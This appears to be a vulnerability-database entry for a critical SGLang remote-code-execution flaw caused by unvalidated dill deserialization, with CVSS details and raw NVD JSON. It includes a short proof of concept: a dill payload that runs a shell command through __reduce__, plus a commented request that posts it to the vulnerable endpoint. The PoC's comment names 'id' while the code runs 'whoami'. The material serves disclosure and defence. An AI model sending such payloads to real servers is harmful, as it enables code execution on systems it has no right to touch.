Security Vulnerability Report
中文
CVE-2026-7304 CVSS 9.8 CRITICAL

CVE-2026-7304

Published: 2026-05-18 12:16:17
Last Modified: 2026-05-19 13:38:09

Description

SGLangs multimodal generation runtime is vulnerable to unauthenticated remote code execution when the --enable-custom-logit-processor option is enabled, as Python objects loaded via dill.loads() will be deserialized without validation.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lmsys:sglang:0.5.10:-:*:*:*:*:*:* - VULNERABLE
SGLangs (开启 --enable-custom-logit-processor 选项的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import dill import os # Generate malicious payload using dill # This payload attempts to execute 'id' command when deserialized class MaliciousObject: def __reduce__(self): return (os.system, ('whoami',)) payload = dill.dumps(MaliciousObject()) # In a real attack, send this 'payload' byte stream to the vulnerable endpoint # Example request (pseudo-code): # import requests # requests.post("http://target:port/api/logit", data=payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7304", "sourceIdentifier": "[email protected]", "published": "2026-05-18T12:16:16.713", "lastModified": "2026-05-19T13:38:09.460", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SGLangs multimodal generation runtime is vulnerable to unauthenticated remote code execution when the --enable-custom-logit-processor option is enabled, as Python objects loaded via dill.loads() will be deserialized without validation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lmsys:sglang:0.5.10:-:*:*:*:*:*:*", "matchCriteriaId": "E0022BC8-935B-474C-AD8D-B01417AC7092"}]}]}], "references": [{"url": "https://antiproof.ai/blog/three-rces-in-sglang/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://github.com/sgl-project/sglang/tree/main/python/sglang", "source": "[email protected]", "tags": ["Product"]}]}}